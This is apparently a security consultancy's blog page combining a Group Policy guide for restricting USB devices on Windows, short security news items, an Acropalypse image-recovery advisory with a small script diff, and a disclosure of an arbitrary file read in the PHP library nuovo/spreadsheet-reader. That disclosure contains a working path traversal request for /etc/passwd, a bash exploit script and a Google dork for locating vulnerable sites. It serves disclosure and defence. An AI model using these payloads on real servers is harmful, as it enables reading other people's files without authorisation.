Autor: Ronny Dobra

Penetrationstests und technische Audits
Allgemein, Penetrationstest, Risikomanagement

USB-Schnittstellen unter Windows absichern

Im Rahmen von Windows Client Audits untersuchen wir, ob Härtungsmaßnahmen gegen typische Angriffe über USB-Schnittstellen umgesetzt wurden. Grundsätzlich kann ein Angreifer ungeschützte USB-Schnittstellen zum Ausleiten von Daten (Exfiltration) oder zum Einleiten/Ausführen von Daten bzw. Code missbrauchen.

Das Ausleiten von Daten über USB (TA0010) geschieht typischerweise durch den Anschluss eines Wechselmediengeräts, wie z. B. Speichersticks oder externe Festplatten (T1052). Jedoch können ebenso eher untypische Geräte wie externe CD/DVD-Laufwerke angeschlossen werden, die zur Exfiltration von Daten missbraucht werden können.

Externe Hardware birgt gleichwohl die Gefahr, dass darüber Daten bzw. Schadcode auf das Client-System gelangt und dort ausgeführt wird (TA0002). In der Praxis kann dies bspw. ein mit Malware präparierter USB-Speicherstick sein, welcher von unachtsamen Mitarbeitern angeschlossen und dessen Inhalt anschließend ausgeführt wird (T1059). Alternativ kann der Angriff über ein „BadUSB“-Device erfolgen (T1204). Ein typischer Vertreter dieser Gattung ist der sogenannte RubberDucky. Dabei handelt es sich um eine als USB-Speicherstick getarnte Tastatur, welche in der Lage ist, vorprogrammierte Tastatureingaben automatisiert und in schneller Abfolge auszuführen. Die Größe der Daten, die mittels RubberDucky auf das System „übertragen“ werden können, ist zwar beschränkt. Es ist jedoch problemlos möglich, Schadcode aus dem Internet nachzuladen und diesen auf dem Client zur Ausführung zu bringen.

Um den Risiken der Datenaus- und -einleitung zu begegnen, bietet Windows verschiedene Möglichkeiten, welche nachfolgend vorgestellt werden.

  1. Lese- und Schreibe-/Schreibzugriff auf Wechselmedien einschränken: Nutzer können zwar Wechselmedien-Geräte anschließen jedoch wird der Lese- oder/und Schreibzugriff auf Medien beschränkt.
  2. Installation von Wechselmedien-Geräten beschränken: Die Installation von Gerätetreibern bestimmter Wechselmedien-Geräteklassen, bspw. WPD-Geräte (Smartphones), wird unterbunden. Dadurch ist keine Nutzung dieser mehr möglich.
  3. Installation von Tastaturen beschränken: Die Installation von Gerätetreibern für unbekannte Tastaturen wird unterbunden. Angriffe durch BadUSB-Geräte, welche Tastaturen simulieren, ist dadurch nicht mehr möglich.

Die folgende Grafik stellt den Zusammenhang zwischen Angriffstaktiken bzw. -techniken und den passenden Maßnahmen noch einmal visuell dar:

Ausnutzung des Angriffsvektors "USB-Schnittstelle" und Schutzmaßnahmen

In diesem Artikel erfahren Sie, welche Einstellungen Sie vornehmen müssen, um die genannten Beschränkungen über Active-Directory-Gruppenrichtlinien unternehmensweit auszurollen.

1. Lese- und Schreibe-/Schreibzugriff auf Wechselmedien einschränken

Beim Begriff „Wechselmedium“ denkt man meist als erstes an USB-Speichersticks oder externe Festplatten. Tatsächlich sind diese in der Windows-Welt jedoch nur zwei Vertreter der Wechselmedienklasse „Wechseldatenträger“. Windows unterscheidet insgesamt zwischen diesen fünf Wechselmedienklassen:

  1. CD und DVD
  2. Diskettenlaufwerke
  3. Wechseldatenträger (z. B. USB-Sticks, externe Festplatten)
  4. Bandlaufwerke
  5. WPD-Geräte (z. B. MTP-fähige Geräte wie Smartphones)

In Penetrationstests stellen wir häufig fest, dass Kunden nur den Zugriff auf die offensichtliche Wechselmedienklasse „Wechseldatenträger“ eingeschränkt haben. Dadurch lassen sich zwar keine Daten von USB-Sticks transferieren, jedoch ist es weiterhin möglich, bspw. externe CD- und DVD-Laufwerke anzuschließen, um darüber Daten auszutauschen.

Wenn Sie den Lese- oder Schreibzugriff auf Wechselmedienklassen hinreichend beschränken wollen, müssen Sie dies für alle (ihren Unternehmensrichtlinien entsprechenden) Wechselmedienklassen tun. Folgen Sie den nachfolgenden Schritten, um Lese- und Schreibzugriffe auf Wechselmedien über Active-Directory-Gruppenrichtlinien zu verwalten:

  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Wechselmedienzugriff
  3. Die sicherste Methode ist es, den Lese- und Schreibzugriff auf alle Wechselmedienklassen zu unterbinden. Aktivieren Sie dazu die Einstellung „Alle Wechselmedienklassen: Jeglichen Zugriff verweigern“:
  • Möchten Sie lediglich Schreiboperationen auf Wechselmedien verhindern, aktivieren Sie stattdessen die Option „Alle Wechselmedienklassen: Schreibzugriff verweigern“.

Überprüfen Sie den Zugriff auf ein Wechselmedium Ihrer Wahl, z. B. einen USB-Speicherstick, in dem Sie diesen an den Windows Client anschließen und versuchen, Daten zu schreiben und zu lesen.

Häufig stehen Administratoren allerdings vor dem Dilemma, dass zwar der Anschluss von beliebigen Wechselmedien unterbunden werden soll, es jedoch Ausnahmen geben muss. Eine typische Anforderung ist, dass der Windows Client den Anschluss beliebiger Wechselmedien unterbinden muss, es sei denn, es handelt sich um einen USB-Speicherstick der Marke / des Modells „XYZ“.

Um dies umzusetzen, muss die Gerätetreiber-Installation von Wechselmedienklassen beschränkt werden. Mehr dazu im folgenden Abschnitt.

2. Installation von Wechselmedien-Geräten beschränken

Falls Sie den Anschluss von unerlaubten Wechselmedien verhindern möchten, bietet es sich an, die Gerätetreiber-Installation unbekannter Wechselmedien-Geräte zu deaktivieren. Dadurch werden diese nicht mehr vom Windows gemountet und können folglich nicht geschrieben oder gelesen werden. Lediglich Geräte, deren Hardware-ID hinterlegt wurde, können noch angeschlossen und verwendet werden (Whitelisting-Ansatz). Die hinterlegte Hardware-ID kann sich z. B. auf ein bestimmtes Gerät, ein Model oder einen Hersteller beziehen.

Gehen Sie dazu wie folgt vor:

  1. Bestimmen Sie die Hardware-ID des Wechselmediengeräts, deren Installation Sie zulassen möchten.
    Schließen Sie bspw. den USB-Speicherstick an einen Windows Client an, und öffnen Sie den Gerätemanager (devmgmt.msc). Suchen Sie den USB-Speicherstick unter dem Reiter „Laufwerke“. Öffnen Sie dessen Eigenschaften. Wechseln Sie zu Details -> Hardware-IDs und notieren Sie eine der IDs.
    Im folgenden Beispiel haben wir uns für USBSTOR\DiskJetFlash entschieden, da wir alle Modelle des USB-Speichersticks freigeben wollen, auch die mit einer anderen Speichergröße als 8 GB:
  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Geräteinstallation -> Einschränkungen bei der Geräteinstallation
  3. Aktivieren Sie die Option „Anwenden einer übergeordneten Reihenfolge für Zulassen und Verhindern-Geräteinstallationsrichtlinien für alle Geräteübereinstimmungskriterien“. Regulär wird zunächst die Installation von Geräten verboten und dann erlaubt (deny, allow). Durch die Aktivierung dieser Eigenschaft wird die Reihenfolge auf „allow, deny“ umgekehrt.
  4. Aktivieren Sie die Option „Installation von Geräten mit Treibern verhindern, die diesen Gerätesetupklassen entsprechen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die folgenden GUID-Werte, einschließlich der geschweiften Klammern, ein (GUID-Übersicht):
    • {4d36e965-e325-11ce-bfc1-08002be10318} (CD- und DVD-Laufwerke)
    • {4d36e980-e325-11ce-bfc1-08002be10318} (Diskettenlaufwerke)
    • {4d36e967-e325-11ce-bfc1-08002be10318} (Laufwerke für Wechseldatenträger, wie z. B. USB-Speichersticks oder externe Festplatten)
    • {6d807884-7d21-11cf-801c-08002be10318} (Bandlaufwerke)
    • {eec5ad98-8080-425f-922a-dabf3de3f69a} (WPD-Geräte, wie z. B. Smartphones)

Hinweis: Wechselmedien-Geräte die vor dem Aktivieren der Einstellung installiert wurden, können auch danach weiter genutzt werden. Wenn Sie dies verhindern möchten, aktivieren Sie die Einstellung „Auch auf übereinstimmende Geräte anwenden, die bereits installiert sind“. Wir empfehlen diese Einstellungen nur mit Vorsicht zu verwenden, da dies dazu führen kann, das bestehenden Verbindungen zu wichtigen externen Datenträgern nicht mehr funktionieren!

Hinweis 2: Die Empfehlung aus der offiziellen Microsoft-Dokumentation nur die GUIDs {36fc9e60-c465-11cf-8056-444553540000} (USB-Host-Controller und USB-Hubs) und {88BAE032-5A81-49f0-BC3D-A4FF138216D6} (USB-Geräte die nicht zu einer anderen Klasse gehören) hier einzutragen, ist unvollständig. Dadurch können bspw. weiterhin WPD-Geräte, wie Smartphones, angeschlossen werden. Wir empfehlen daher die oben genannten Geräteklassen-GUIDs zu verwenden.

  1. Aktivieren Sie die Option „Installation von Geräten mit diesen Geräte-IDs zulassen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die Hardware-ID(s) ein, welche Sie zulassen möchten (siehe Schritt 1):

Die finale Konfiguration sollten nun wie folgt aussehen:

Prüfen Sie, ob die Einstellung Wirkung zeigt, in dem Sie einen zweiten USB-Speicherstick (mit abweichender Hardware-ID) anschließen, den Sie zuvor noch nie an das System angeschlossen haben. Das Gerät sollte daraufhin nicht installiert werden.

Sollten sich der Speicherstick wider Erwarten installieren lassen, öffnen Sie den Geräte-Manager und suchen Sie den angeschlossene Speicherstick unter „Laufwerke“. Klicken Sie mit der rechten Maustaste auf den Eintrag und wählen Sie „Gerät deinstallieren“:

Dadurch wird der gerade installierte Treiber wieder deinstalliert. Danach können Sie das Gerät abziehen.

Prüfen Sie anschließend Ihre vorgenommenen Einstellungen auf Korrektheit und probieren Sie erneut, den Speicherstick anzuschließen.

3. Installation von Tastaturen beschränken

Geräte die sich als USB-Tastaturen ausgeben, wie der allseits bekannte RubberDucky, um dadurch bösartige Eingaben durchzuführen und Code nachzuladen, stellen ebenfalls ein Risiko dar. Bei diesen „BadUSB“-Angriffen handelt es sich um einen Seitenkanal-Angriff, bei dem die Fähigkeiten von Keyboard-Devices dazu missbraucht werden, Daten und Code auf dem Zielgerät zu platzieren bzw. zur Ausführung zu bringen.

Vor dem Anschluss von BadUSB-Geräten kann man sich schützen, indem man wie im vorigen Kapitel auch, eine Liste für den Anschluss zugelassener Tastaturen im Windows hinterlegt (Whitelisting) und den Anschluss anderer Tastaturen verbietet.

Um den Anschluss von Tastatur-Geräten einzuschränken, gehen Sie wie folgt vor:

  1. Bestimmen Sie die Hardware-ID der Tastatur, deren Installation Sie zulassen möchten.
    Öffnen Sie den Gerätemanager (devmgmt.msc). Suchen Sie die angeschlossene Tastatur unter dem Reiter „Tastaturen“. Öffnen Sie deren Eigenschaften. Wechseln Sie zu „Details -> Hardware-IDs“ und notieren Sie sich die Hardware-IDs der Tastaturen, die sie freigeben möchten. In der folgenden Abbildung ist dies ID HID\VID_046A&UP:0001_U:0006, was einer beliebigen Cherry-Tastatur entspricht. Um die Installation von beliebigen Logitech-Tastaturen zu erlauben, müsste bspw. die ID HID\VID_046D&UP:0001_U:0006 (mit einem „D“  statt einem „A“) freigegeben werden:
  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Geräteinstallation -> Einschränkungen bei der Geräteinstallation
  3. Aktivieren Sie die Option „Anwenden einer übergeordneten Reihenfolge für Zulassen und Verhindern-Geräteinstallationsrichtlinien für alle Geräteübereinstimmungskriterien“. Regulär wird zunächst die Installation von Geräten verboten und dann erlaubt (deny, allow). Durch die Aktivierung dieser Eigenschaft wird die Reihenfolge auf „allow, deny“ umgekehrt.
  4. Aktivieren Sie die Option „Installation von Geräten mit Treibern verhindern, die diesen Gerätesetupklassen entsprechen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier den Wert {4D36E96B-E325-11CE-BFC1-08002BE10318} ein. Dieser entspricht die GUID der Geräteklassen „Tastaturen“ (GUID-Übersicht).

Hinweis: Tastaturen, die vor dem Aktivieren der Einstellung installiert wurden, können auch danach weiter genutzt werden. Wenn Sie dies verhindern möchten, aktivieren Sie die Einstellung „Auch auf übereinstimmende Geräte anwenden, die bereits installiert sind“. Wir empfehlen diese Einstellungen nur mit Vorsicht zu verwenden, da dies dazu führen kann, dass bspw. auch integrierte Laptop-Tastaturen nicht mehr verwendet werden können!

  1. Aktivieren Sie die Option „Installation von Geräten mit diesen Geräte-IDs zulassen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die Hardware-ID(s) ein, welche Sie zulassen möchten (siehe Schritt 1):

Prüfen Sie, ob die Konfiguration Wirkung zeigt, in dem Sie eine von ihrer Hardware-ID abweichende Tastatur (oder einen RubberDucky) anschließen, die Sie zuvor noch nie an das System angeschlossen haben. Das Gerät sollte nicht installiert werden.

Sollte sich die Tastatur dennoch anschließen und bedienen lassen, gehen Sie wie am Ende von Kapitel „Installation von Wechselmedien beschränken“ beschrieben vor, um den Gerätetreiber wieder zu deinstallieren.

Quellen:

Anleitung zur Beschränkungen von USB-Schnittstellen:

Taktiken und Techniken aus dem MITRE ATT&CK Framework:

Hak5 RubberDucky:

WPD und MTP:

Hardware-IDs:

Geräteklassen-GUIDs:

Schwachstelle

Es ist nicht immer MFA, wenn MFA draufsteht.

Am 27. August wurde die Firma Retool, der Anbieter einer Low-Code-Entwicklungsplattform, Opfer eines Social-Engineering-Angriffs. Dank der im April eingeführten Synchronisationsfunktion der Google-Authenticator-App konnten Angreifer die Multi-Faktor-Authentifizierung (MFA) zu einer Single-Faktor-Authentifizierung downgraden und sich so Zugriff zum Retool-Netzwerk verschaffen.

Der initiale Eindringvektor der Angreifer war ein Smishing-Angriff (Phishing über SMS-Textnachrichten) an mehrere Retool-Mitarbeiter. Ein Mitarbeiter ist dem Aufruf der Nachricht gefolgt und hat seine Zugangsdaten auf einem gefälschten Log-in-Portal eingegeben. Da Retool MFA verwendet, erhielten die Angreifer mit den Zugangsdaten allein jedoch noch keinen Zugriff zu den Accounts oder dem Retool-Netzwerk. Daher starteten sie einen gut vorbereiteten Vishing-Anruf (Phishing über Telefon) gegen den Mitarbeiter und konnten diesem auch einen Code für die Multi-Faktor-Authentifizierung entlocken.

Die Angreifer verwendeten die Zugangsdaten und den MFA-Code, um ihr Gerät mit dem SSO-Konto des Mitarbeiters zu verbinden und u. a. Zugriff zu seinem Google-Konto zu erhalten. Dies erwies sich als verheerend, da Google seine in der Google-Authenticator-App generierten MFA-Codes seit April 2023 automatisch mit dem Google-Konto synchronisiert. Die Angreifer konnten nun die MFA-Codes, welche z. B. bei der Verbindung mit dem Retool-VPN oder den Verwaltungssystemen benötigt wurden, einfach aus dem Google-Konto des kompromittierten Mitarbeiters auslesen. Effektiv wurde die Multi-Faktor-Authentifizierung (MFA) dadurch zu einer Single-Faktor-Authentifizierung herabgestuft.

Unternehmen, welche auf die Google-Authenticator-App setzen, sollten sich bewusst sein, dass die Synchronisationsfunktion standardmäßig aktiv ist. Das Deaktivieren der Funktion ist nur möglich, indem das Google-Konto vollständig von der App entkoppelt wird.

Immer wieder überrascht die Kreativität der Angreifer, mit welcher versucht wird, MFA zu umgehen. Seit Jahren werden bspw. SIM-Swapping-Angriffe dazu genutzt, um über SMS versendete MFA-Codes abzufangen.

Mittels sogenannten MFA-Bombing- oder MFA-Fatigue-Angriffen ist es der Hackergruppe „Lapsus$“ Anfang 2022 gelungen, die MFA von Microsoft und anderen Unternehmen zu umgehen. Bei diesem Angriff werden die betroffene Personen mit MFA-Anfragen überflutet, z. B. um 1 Uhr nachts, in der Hoffnung, dass sie in der Stress-Situation oder versehentlich eine davon akzeptieren.

Einen Phishing-resistenteren MFA-Schutz bieten Sticks oder Android-Smartphones mit Fido bzw. WebAuthn. Der Nachteil dieser Lösung ist, dass der zu schützende Dienst diese unterstützen muss.

https://retool.com/blog/mfa-isnt-mfa/

https://security.googleblog.com/2023/04/google-authenticator-now-supports.html

https://www.golem.de/news/retool-kritisiert-google-authenticator-macht-cyberangriff-erst-richtig-effektiv-2309-177706.html#

https://www.golem.de/news/lapsus-hackergruppe-umgeht-2fa-mit-einfachem-trick-2203-164236.html

News

Die Suche nach dem großen Glück

Manche setzen sich ins Casino, um das große Geld zu machen. Anderen reicht ein zehnminütiger Anruf beim Casino-Helpdesk, um dem finanziellen Glück auf die Sprünge zu helfen.

Diesen Weg nutzte eine Hacker-Gruppe, um in das Netzwerk der amerikanischen Hotel- und Casino-Kette „MGM Ressort“ einzubrechen. Laut eigener Angaben benötigten sie dazu lediglich ein zehnminütiges, mit Sicherheit gut vorbereitetes Gespräch mit einem Helpdesk-Mitarbeiter. In der Folge des Angriffs waren zahlreiche Systeme wie beispielsweise digitale Türverriegelungen, Kassensysteme sowie Geldautomaten und einige Spielautomaten gestört.

Selbst ohne die Zahlung eines Lösegelds kostete der Angriff den MGM-Konzern rund 100 Millionen US-Dollar. Der Großteil davon ist auf ausgefallene Zimmerbuchung aufgrund nicht erreichbarer Buchungsseiten und -schnittstellen zurückzuführen.

https://edition.cnn.com/2023/10/05/business/mgm-100-million-hit-data-breach/index.html

https://www.heise.de/news/l-f-Zehnminuten-Telefonat-ermoeglicht-MGM-Hack-9305196.html

https://www.golem.de/news/mgm-und-caesars-jugendliche-hacker-legten-kasinos-in-las-vegas-lahm-2309-177940.html

News

Spam ist tot – es lebe der Spam!

Vor fast 20 Jahren sagte der Erfinder des Personal Computers, Bill Gates, einmal: „In zwei Jahren wird das Spam-Problem gelöst sein.“

Ein Blick auf die Auswertungen von Kaspersky zeichnet ein ernüchternd anderes Bild. Laut der Studie lag der Anteil von Spam-E-Mails am weltweiten E-Mail-Verkehr im Jahr 2022 bei 48,6 %. Für Phishing-Versuche im vergangenen Jahr wurde als Aufhänger besonders gern die Fußballweltmeisterschaft verwendet, bei der die Opfer mit vermeintlichen Gewinnspielen gelockt wurden.

Besonders dreist waren Phishing-Kampagnen mit gefälschten Spenden-Portalen für den Ukraine-Krieg oder Registrierungsseiten für vermeintliche COVID-Impfungen. Dass Spam sich nicht allein auf E-Mail begrenzt, zeigt beispielsweise die Verdreifachung von Phishing-Angriffen über die Messenger-App Telegram im Vergleich zum Vorjahr.

Man kann also davon ausgehen, dass Spam auf absehbare Zeit ein ungelöstes Problem bleibt. Dabei passen sich die Spammer an neue „Vertriebswege“, wie z. B. App-bezogenen Spam an. Schade Bill Gates, auch Visionäre können irren.

https://securelist.com/spam-phishing-scam-report-2022/108692/

News

Preisgekrönt: Microsoft-Sharepoint unauthenticated Code-Execution

Aktuell kursieren Fragmente einer Exploit-Chain, die es unauthentifizierten Angreifern ermöglicht, über eine Lücke in Microsoft Sharepoint Administratorrechte auf einem Server zu erlangen.

Ein Teilnehmer des bekannten Pwn2Own-Wettbewerbs hatte die Exploit-Chain bei der Veranstaltung im März 2023 live demonstriert und dafür ein Preisgeld von 100.000 US-Dollar erhalten. Ende September veröffentlichte er eine sehr lesenswerte Analyse der Exploit-Entwicklungsgeschichte, ohne dabei jedoch den vollständigen Exploit-Code bereitzustellen.

Doch bereits einen Tag nach der Veröffentlichung tauchte ein GitHub-Repository auf, welches den Proof-of-Concept-Code für die zweite Hälfte der Exploit-Chain enthielt. Es ist nur eine Frage der Zeit, bis Angreifer den PoC ausbauen, um einen vollständigen Exploit zu erhalten.

Administratoren wird daher geraten, die Microsoft-Sharepoint-Patches zur Schließung der Sicherheitslücken CVE-2023-24955 und CVE-2023-29357 einzuspielen.

https://www.golem.de/news/jetzt-patchen-exploit-fuer-kritische-sharepoint-schwachstelle-aufgetaucht-2309-178119.html

https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/https://github.com/Chocapikk/CVE-2023-29357

Advisories, Schwachstelle

„Acropalypse“ NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf „Acropalypse“-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
